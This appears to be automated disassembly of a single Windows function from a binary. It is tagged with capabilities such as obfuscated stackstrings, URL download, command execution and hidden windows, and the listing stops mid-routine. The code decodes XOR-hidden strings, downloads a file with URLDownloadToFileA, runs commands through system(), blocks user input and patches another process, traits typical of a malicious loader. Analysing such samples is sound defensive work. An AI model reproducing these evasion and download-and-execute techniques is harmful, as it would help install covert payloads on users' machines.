Function at 0x14005c380
Capabilities:
Contain obfuscated stackstrings
Create pipe
Download url
Encode data using xor
Execute command
Hide graphical window
Parse pe header
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
xor r15d, r15d
movdqa xmm1, xmmword [0x140160d80]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x140160ca0]
movdqu xmmword [rsp + 0x68], xmm2
mov dl, 0x54
mov r8b, 3
mov r9b, reloc.WS2_32.dll_setsockopt
mov r10b, Ordinal_30
xor r11b, r11b
movzx ebx, dl
mov dil, 0x5a
movzx esi, dil
movzx r14d, dil
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor byte [rsp + 0x60], cl
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor byte [rsp + 0x70], cl
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor dl, cl
mov byte [rsp + 0x78], dl
xor r8b, cl
mov byte [rsp + 0x79], r8b
xor r9b, cl
mov byte [rsp + 0x7a], r9b
xor r10b, cl
mov byte [rsp + 0x7b], r10b
xor r11b, cl
mov byte [rsp + 0x7c], r11b
xor bl, cl
mov byte [rsp + 0x7d], bl
xor dil, cl
mov byte [rsp + 0x7e], dil
xor sil, cl
mov byte [rsp + 0x7f], sil
xor r14b, cl
mov byte [rbp - 0x80], r14b
mov byte [rbp - 0x7f], r15b
mov ecx, r15d
lea rdx, [0x140bd7cd0]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x59]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005c4d0
lea rax, [0x14015c1fc]
mov qword [0x140bd7cc0], rax
mov dword [0x140bd8430], r15d
mov dword [0x140bd843c], r15d
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], r15d
lea rax, [0x1401549fa]
mov qword [0x140bd7dd0], rax
nop dword [rax + rax]
movdqa xmm1, xmmword [0x140160f40]
movdqu xmmword [rbp - 0x48], xmm1
mov cl, 0x3e
mov dl, 9
mov r8b, 2
mov r10b, 3
mov r11b, 1
movzx ebx, dl
mov dil, 5
mov sil, reloc.WS2_32.dll_listen
mov r14b, 0x42
movzx r15d, dl
mov r12b, reloc.WS2_32.dll_sendto
movzx r13d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x47], al
xor byte [rbp - 0x46], r9b
xor byte [rbp - 0x45], r9b
xor byte [rbp - 0x44], r9b
xor byte [rbp - 0x43], r9b
xor byte [rbp - 0x42], r9b
xor byte [rbp - 0x41], r9b
xor byte [rbp - 0x40], r9b
xor byte [rbp - 0x3f], r9b
xor byte [rbp - 0x3e], r9b
xor byte [rbp - 0x3d], r9b
xor byte [rbp - 0x3c], r9b
xor byte [rbp - 0x3b], r9b
xor byte [rbp - 0x3a], r9b
xor byte [rbp - 0x39], r9b
xor cl, r9b
mov byte [rbp - 0x38], cl
xor dl, r9b
mov byte [rbp - 0x37], dl
xor r8b, r9b
mov byte [rbp - 0x36], r8b
xor r10b, r9b
mov byte [rbp - 0x35], r10b
xor r11b, r9b
mov byte [rbp - 0x34], r11b
xor bl, r9b
mov byte [rbp - 0x33], bl
xor dil, r9b
mov byte [rbp - 0x32], dil
xor sil, r9b
mov byte [rbp - 0x31], sil
xor r14b, r9b
mov byte [rbp - 0x30], r14b
xor r15b, r9b
mov byte [rbp - 0x2f], r15b
xor r12b, r9b
mov byte [rbp - 0x2e], r12b
xor r13b, r9b
mov byte [rbp - 0x2d], r13b
mov byte [rbp - 0x2c], 0
lea rdx, [rbp - 0x47]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005c6ef
movdqa xmm1, xmmword [0x140160bf0]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x140161280]
movdqu xmmword [rsp + 0x68], xmm2
mov dl, reloc.WS2_32.dll_ntohs
mov r8b, reloc.WS2_32.dll_sendto
mov r9b, reloc.WS2_32.dll_listen
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor byte [rsp + 0x60], cl
xor byte [rsp + 0x61], cl
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
xor byte [rsp + 0x70], cl
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor dl, cl
mov byte [rsp + 0x78], dl
xor r8b, cl
mov byte [rsp + 0x79], r8b
xor r9b, cl
mov byte [rsp + 0x7a], r9b
mov byte [rsp + 0x7b], 0
lea rcx, [rsp + 0x59]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14005c520
movdqa xmm1, xmmword [0x140161660]
movdqu xmmword [rbp - 0x48], xmm1
mov cl, 0x67
mov dl, 0x50
mov r8b, 0x5b
mov r10b, 0x5a
mov r11b, 0x58
movzx ebx, dl
mov dil, 0x5c
mov sil, 0x54
mov r14b, reloc.WLDAP32.dll_Ordinal_27
movzx r15d, dl
mov r12b, Ordinal_79
movzx r13d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x47], al
xor byte [rbp - 0x46], r9b
xor byte [rbp - 0x45], r9b
xor byte [rbp - 0x44], r9b
xor byte [rbp - 0x43], r9b
xor byte [rbp - 0x42], r9b
xor byte [rbp - 0x41], r9b
xor byte [rbp - 0x40], r9b
xor byte [rbp - 0x3f], r9b
xor byte [rbp - 0x3e], r9b
xor byte [rbp - 0x3d], r9b
xor byte [rbp - 0x3c], r9b
xor byte [rbp - 0x3b], r9b
xor byte [rbp - 0x3a], r9b
xor byte [rbp - 0x39], r9b
xor cl, r9b
mov byte [rbp - 0x38], cl
xor dl, r9b
mov byte [rbp - 0x37], dl
xor r8b, r9b
mov byte [rbp - 0x36], r8b
xor r10b, r9b
mov byte [rbp - 0x35], r10b
xor r11b, r9b
mov byte [rbp - 0x34], r11b
xor bl, r9b
mov byte [rbp - 0x33], bl
xor dil, r9b
mov byte [rbp - 0x32], dil
xor sil, r9b
mov byte [rbp - 0x31], sil
xor r14b, r9b
mov byte [rbp - 0x30], r14b
xor r15b, r9b
mov byte [rbp - 0x2f], r15b
xor r12b, r9b
mov byte [rbp - 0x2e], r12b
xor r13b, r9b
mov byte [rbp - 0x2d], r13b
mov byte [rbp - 0x2c], 0
movdqa xmm0, xmmword [0x140161850]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x1401616a0]
movdqu xmmword [rsp + 0x68], xmm1
movdqa xmm0, xmmword [0x140161100]
movdqu xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x140161020]
movdqu xmmword [rbp - 0x78], xmm1
movdqa xmm0, xmmword [0x140160e40]
movdqu xmmword [rbp - 0x68], xmm0
mov dword [rbp - 0x58], 0x6263685f
mov dword [rbp - 0x54], 0x6c646860
mov dword [rbp - 0x50], 0x68756823
xor eax, eax
mov byte [rbp - 0x4c], al
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x59], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x5a], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x5b], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x5c], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x5d], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x5e], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x5f], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x60], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x61], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x62], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x63], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x64], al
movzx eax, byte [rsp + 0x58]
xor byte [rsp + rcx + 0x65], al
add rcx, 0xd
cmp rcx, 0x5b
jb 0x14005c830
mov byte [rbp - 0x4c], bl
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp - 0x47]
lea rdx, [rsp + 0x59]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rbp - 0x28], Ordinal_27
mov dword [rbp - 0x18], 1
mov qword [rbp - 0x20], rbx
mov qword [rbp + 0x180], rbx
mov qword [rbp + 0x178], rbx
mov dword [rbp + 0x170], ebx
xor r9d, r9d
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x14005cabb
movdqa xmm1, xmmword [0x140161010]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x140160e70]
movdqu xmmword [rsp + 0x68], xmm2
mov cl, reloc.WLDAP32.dll_Ordinal_45
mov dl, 0x6a
mov r9b, reloc.WLDAP32.dll_Ordinal_41
mov r10b, 0x25
mov r11b, 0x26
movzx ebx, r10b
mov dil, gethostname
movzx esi, dl
mov r14b, Ordinal_41
movzx r15d, r10b
mov r12b, 0x3e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
xor byte [rsp + 0x60], r8b
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor byte [rsp + 0x70], r8b
xor byte [rsp + 0x71], r8b
xor byte [rsp + 0x72], r8b
xor byte [rsp + 0x73], r8b
xor byte [rsp + 0x74], r8b
xor byte [rsp + 0x75], r8b
xor byte [rsp + 0x76], r8b
xor byte [rsp + 0x77], r8b
xor cl, r8b
mov byte [rsp + 0x78], cl
xor dl, r8b
mov byte [rsp + 0x79], dl
xor r9b, r8b
mov byte [rsp + 0x7a], r9b
xor r10b, r8b
mov byte [rsp + 0x7b], r10b
xor r11b, r8b
mov byte [rsp + 0x7c], r11b
xor bl, r8b
mov byte [rsp + 0x7d], bl
xor dil, r8b
mov byte [rsp + 0x7e], dil
xor sil, r8b
mov byte [rsp + 0x7f], sil
xor r14b, r8b
mov byte [rbp - 0x80], r14b
xor r15b, r8b
mov byte [rbp - 0x7f], r15b
xor r12b, r8b
mov byte [rbp - 0x7e], r12b
mov byte [rbp - 0x7d], 0
xor ebx, ebx
mov ecx, ebx
lea r13, [0x140bd7cd0]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x59]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005ca70
lea rax, [0x14015c1fc]
mov qword [0x140bd7cc0], rax
mov dword [0x140bd8430], ebx
mov dword [0x140bd843c], ebx
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], ebx
lea rax, str.none
mov qword [0x140bd7dd0], rax
jmp 0x14005cac2
lea r13, [0x140bd7cd0]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [rbp + 0x180]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
test eax, eax
jne 0x14005cc7c
movdqa xmm1, xmmword [0x140161710]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x1401616c0]
movdqu xmmword [rsp + 0x68], xmm2
mov cl, 0x64
mov dl, reloc.WLDAP32.dll_Ordinal_35
mov r9b, 0x60
mov r10b, 0x6c
mov r11b, reloc.WS2_32.dll_WSAGetLastError
movzx ebx, r10b
mov dil, WSAStartup
movzx esi, dl
mov r14b, 0x61
movzx r15d, r10b
mov r12b, 0x77
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
xor byte [rsp + 0x60], r8b
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor byte [rsp + 0x70], r8b
xor byte [rsp + 0x71], r8b
xor byte [rsp + 0x72], r8b
xor byte [rsp + 0x73], r8b
xor byte [rsp + 0x74], r8b
xor byte [rsp + 0x75], r8b
xor byte [rsp + 0x76], r8b
xor byte [rsp + 0x77], r8b
xor cl, r8b
mov byte [rsp + 0x78], cl
xor dl, r8b
mov byte [rsp + 0x79], dl
xor r9b, r8b
mov byte [rsp + 0x7a], r9b
xor r10b, r8b
mov byte [rsp + 0x7b], r10b
xor r11b, r8b
mov byte [rsp + 0x7c], r11b
xor bl, r8b
mov byte [rsp + 0x7d], bl
xor dil, r8b
mov byte [rsp + 0x7e], dil
xor sil, r8b
mov byte [rsp + 0x7f], sil
xor r14b, r8b
mov byte [rbp - 0x80], r14b
xor r15b, r8b
mov byte [rbp - 0x7f], r15b
xor r12b, r8b
mov byte [rbp - 0x7e], r12b
mov byte [rbp - 0x7d], 0
xor r15d, r15d
mov ecx, r15d
nop dword [rax]
movzx eax, byte [rsp + rcx + 0x59]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005cc30
lea rax, [0x14015c1fc]
mov qword [0x140bd7cc0], rax
mov dword [0x140bd8430], r15d
mov dword [0x140bd843c], r15d
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], r15d
lea rax, str.none
mov qword [0x140bd7dd0], rax
movdqa xmm1, xmmword [0x140160f20]
movdqu xmmword [rbp - 0x48], xmm1
mov cl, reloc.WLDAP32.dll_Ordinal_35
mov dl, reloc.WS2_32.dll_sendto
mov r8b, Ordinal_32
mov r10b, reloc.WLDAP32.dll_Ordinal_30
mov r11b, Ordinal_30
movzx ebx, dl
mov dil, Ordinal_26
mov sil, reloc.WS2_32.dll_recv
mov r14b, 0x5f
movzx r15d, dl
mov r12b, 9
movzx r13d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp - 0x47], al
xor byte [rbp - 0x46], r9b
xor byte [rbp - 0x45], r9b
xor byte [rbp - 0x44], r9b
xor byte [rbp - 0x43], r9b
xor byte [rbp - 0x42], r9b
xor byte [rbp - 0x41], r9b
xor byte [rbp - 0x40], r9b
xor byte [rbp - 0x3f], r9b
xor byte [rbp - 0x3e], r9b
xor byte [rbp - 0x3d], r9b
xor byte [rbp - 0x3c], r9b
xor byte [rbp - 0x3b], r9b
xor byte [rbp - 0x3a], r9b
xor byte [rbp - 0x39], r9b
xor cl, r9b
mov byte [rbp - 0x38], cl
xor dl, r9b
mov byte [rbp - 0x37], dl
xor r8b, r9b
mov byte [rbp - 0x36], r8b
xor r10b, r9b
mov byte [rbp - 0x35], r10b
xor r11b, r9b
mov byte [rbp - 0x34], r11b
xor bl, r9b
mov byte [rbp - 0x33], bl
xor dil, r9b
mov byte [rbp - 0x32], dil
xor sil, r9b
mov byte [rbp - 0x31], sil
xor r14b, r9b
mov byte [rbp - 0x30], r14b
xor r15b, r9b
mov byte [rbp - 0x2f], r15b
xor r12b, r9b
mov byte [rbp - 0x2e], r12b
xor r13b, r9b
mov byte [rbp - 0x2d], r13b
mov byte [rbp - 0x2c], 0
movzx edx, byte [rbp + 0x170]
lea rcx, [rbp + 8]
call fcn.140067340
nop
lea rax, [rbp - 0x47]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14005cd70
lea rdx, [rbp - 0x47]
lea rcx, [rbp + 8]
call fcn.140067360
nop
lea r8, [rbp + 0x178]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 8]
call fcn.140050aa0
test al, al
jne 0x14005cf5c
movdqa xmm1, xmmword [0x140160b40]
movdqu xmmword [rsp + 0x58], xmm1
movdqa xmm2, xmmword [0x140160dd0]
movdqu xmmword [rsp + 0x68], xmm2
mov cl, reloc.WS2_32.dll_setsockopt
mov dl, 0x52
mov r9b, reloc.WS2_32.dll_recvfrom
mov r10b, Ordinal_30
mov r11b, reloc.WLDAP32.dll_Ordinal_30
movzx ebx, r10b
xor dil, dil
movzx esi, dl
mov r14b, reloc.WS2_32.dll_recv
movzx r15d, r10b
mov r12b, 6
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r8d, xmm1
xor al, r8b
mov byte [rsp + 0x59], al
xor byte [rsp + 0x5a], r8b
xor byte [rsp + 0x5b], r8b
xor byte [rsp + 0x5c], r8b
xor byte [rsp + 0x5d], r8b
xor byte [rsp + 0x5e], r8b
xor byte [rsp + 0x5f], r8b
xor byte [rsp + 0x60], r8b
xor byte [rsp + 0x61], r8b
xor byte [rsp + 0x62], r8b
xor byte [rsp + 0x63], r8b
xor byte [rsp + 0x64], r8b
xor byte [rsp + 0x65], r8b
xor byte [rsp + 0x66], r8b
xor byte [rsp + 0x67], r8b
movd eax, xmm2
xor al, r8b
mov byte [rsp + 0x68], al
xor byte [rsp + 0x69], r8b
xor byte [rsp + 0x6a], r8b
xor byte [rsp + 0x6b], r8b
xor byte [rsp + 0x6c], r8b
xor byte [rsp + 0x6d], r8b
xor byte [rsp + 0x6e], r8b
xor byte [rsp + 0x6f], r8b
xor byte [rsp + 0x70], r8b
xor byte [rsp + 0x71], r8b
xor byte [rsp + 0x72], r8b
xor byte [rsp + 0x73], r8b
xor byte [rsp + 0x74], r8b
xor byte [rsp + 0x75], r8b
xor byte [rsp + 0x76], r8b
xor byte [rsp + 0x77], r8b
xor cl, r8b
mov byte [rsp + 0x78], cl
xor dl, r8b
mov byte [rsp + 0x79], dl
xor r9b, r8b
mov byte [rsp + 0x7a], r9b
xor r10b, r8b
mov byte [rsp + 0x7b], r10b
xor r11b, r8b
mov byte [rsp + 0x7c], r11b
xor bl, r8b
mov byte [rsp + 0x7d], bl
xor dil, r8b
mov byte [rsp + 0x7e], dil
xor sil, r8b
mov byte [rsp + 0x7f], sil
xor r14b, r8b
mov byte [rbp - 0x80], r14b
xor r15b, r8b
mov byte [rbp - 0x7f], r15b
xor r12b, r8b
mov byte [rbp - 0x7e], r12b
mov byte [rbp - 0x7d], 0
xor ecx, ecx
lea rdi, [0x140bd7cd0]
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x59]
mov byte [rcx + rdi], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005cf00
lea rsi, [0x14015c1fc]
mov qword [0x140bd7cc0], rsi
mov dword [0x140bd8430], 0
mov dword [0x140bd843c], 0
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], 0
lea rsi, str.none
mov qword [0x140bd7dd0], rsi
mov ebx, dword [rbp + 0x170]
jmp 0x14005cf73
mov ebx, dword [rbp]
mov dword [rbp + 0x170], ebx
lea rdi, [0x140bd7cd0]
lea rsi, str.none
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov ecx, ebx
call fcn.140050b50
test al, al
je 0x14005cf80
mov edx, 1
lea rcx, [rbp + 0x30]
call fcn.14005ed40
nop
mov ecx, ebx
call sym.example_win32_directx11.exe_patch_process
test al, al
je 0x14005d4a3
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm1, xmmword [0x140160f60]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x3f
mov dl, 8
mov r8b, 3
mov r10b, 2
xor r11b, r11b
movzx ebx, dl
mov dil, 4
mov sil, listen
mov r14b, 0x43
movzx r15d, dl
mov r12b, reloc.WS2_32.dll_setsockopt
movzx r13d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r9b
xor byte [rsp + 0x33], r9b
xor byte [rsp + 0x34], r9b
xor byte [rsp + 0x35], r9b
xor byte [rsp + 0x36], r9b
xor byte [rsp + 0x37], r9b
xor byte [rsp + 0x38], r9b
xor byte [rsp + 0x39], r9b
xor byte [rsp + 0x3a], r9b
xor byte [rsp + 0x3b], r9b
xor byte [rsp + 0x3c], r9b
xor byte [rsp + 0x3d], r9b
xor byte [rsp + 0x3e], r9b
xor byte [rsp + 0x3f], r9b
xor cl, r9b
mov byte [rsp + 0x40], cl
xor dl, r9b
mov byte [rsp + 0x41], dl
xor r8b, r9b
mov byte [rsp + 0x42], r8b
xor r10b, r9b
mov byte [rsp + 0x43], r10b
xor r11b, r9b
mov byte [rsp + 0x44], r11b
xor bl, r9b
mov byte [rsp + 0x45], bl
xor dil, r9b
mov byte [rsp + 0x46], dil
xor sil, r9b
mov byte [rsp + 0x47], sil
xor r14b, r9b
mov byte [rsp + 0x48], r14b
xor r15b, r9b
mov byte [rsp + 0x49], r15b
xor r12b, r9b
mov byte [rsp + 0x4a], r12b
xor r13b, r9b
mov byte [rsp + 0x4b], r13b
mov byte [rsp + 0x4c], 0
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rbx, rax
test rax, rax
jne 0x14005d0ee
lea rcx, [rbp + 0xc8]
call fcn.14005ece0
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov ebx, dword [rbp + 0x170]
lea rdi, [0x140bd7cd0]
lea rsi, str.none
jmp 0x14005cf80
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetForegroundWindow]
lea rdx, [0x14015c7b4]
lea rcx, [rsp + 0x58]
call fcn.14005f660
nop
lea rcx, [rsp + 0x58]
call fcn.140050c20
mov ecx, reloc.WS2_32.dll_listen
xor edx, edx
call fcn.140050bb0
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
movdqa xmm1, xmmword [0x140161400]
movdqu xmmword [rsp + 0x30], xmm1
mov dl, 0x4c
mov r8b, 0x51
mov r9b, 0x42
mov r10b, Ordinal_79
mov r11b, 0x57
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor dl, cl
mov byte [rsp + 0x40], dl
xor r8b, cl
mov byte [rsp + 0x41], r8b
xor r9b, cl
mov byte [rsp + 0x42], r9b
xor r10b, cl
mov byte [rsp + 0x43], r10b
xor r11b, cl
mov byte [rsp + 0x44], r11b
mov byte [rsp + 0x45], 0
xor r15d, r15d
mov ecx, r15d
lea r13, [0x140bd7cd0]
movzx eax, byte [rsp + rcx + 0x31]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x14005d1e0
lea rax, [0x14015c1fc]
mov qword [0x140bd7cc0], rax
mov dword [0x140bd8430], r15d
mov dword [0x140bd843c], r15d
mov dword [0x140bd8440], 0x43160000
mov dword [0x140bd8438], r15d
lea rax, [0x1401549fa]
mov qword [0x140bd7dd0], rax
nop dword [rax]
movdqa xmm1, xmmword [0x1401614a0]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x52
mov dl, 0x45
mov r8b, 0x69
mov r10b, 8
mov r11b, reloc.WS2_32.dll_recvfrom
mov bl, reloc.WS2_32.dll_WSACleanup
mov dil, 0x49
mov sil, 0x50
mov r14b, 0x5c
mov r15b, 0x41
mov r12b, 0x5d
mov r13b, 0x54
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r9b
xor byte [rsp + 0x33], r9b
xor byte [rsp + 0x34], r9b
xor byte [rsp + 0x35], r9b
xor byte [rsp + 0x36], r9b
xor byte [rsp + 0x37], r9b
xor byte [rsp + 0x38], r9b
xor byte [rsp + 0x39], r9b
xor byte [rsp + 0x3a], r9b
xor byte [rsp + 0x3b], r9b
xor byte [rsp + 0x3c], r9b
xor byte [rsp + 0x3d], r9b
xor byte [rsp + 0x3e], r9b
xor byte [rsp + 0x3f], r9b
xor cl, r9b
mov byte [rsp + 0x40], cl
xor dl, r9b
mov byte [rsp + 0x41], dl
xor r8b, r9b
mov byte [rsp + 0x42], r8b
xor r10b, r9b
mov byte [rsp + 0x43], r10b
xor r11b, r9b
mov byte [rsp + 0x44], r11b
xor bl, r9b
mov byte [rsp + 0x45], bl
xor dil, r9b
mov byte [rsp + 0x46], dil
xor sil, r9b
mov byte [rsp + 0x47], sil
xor r14b, r9b
mov byte [rsp + 0x48], r14b
xor r15b, r9b
mov byte [rsp + 0x49], r15b
xor r12b, r9b
mov byte [rsp + 0x4a], r12b
xor r13b, r9b
mov byte [rsp + 0x4b], r13b
mov byte [rsp + 0x4c], 0
lea rdx, [rsp + 0x31]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005d230
mov edx, 5
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm1, xmmword [0x140160eb0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [0x140160ee0]
movdqu xmmword [rsp + 0x40], xmm2
mov dl, 0x25
mov r8b, 0x3e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
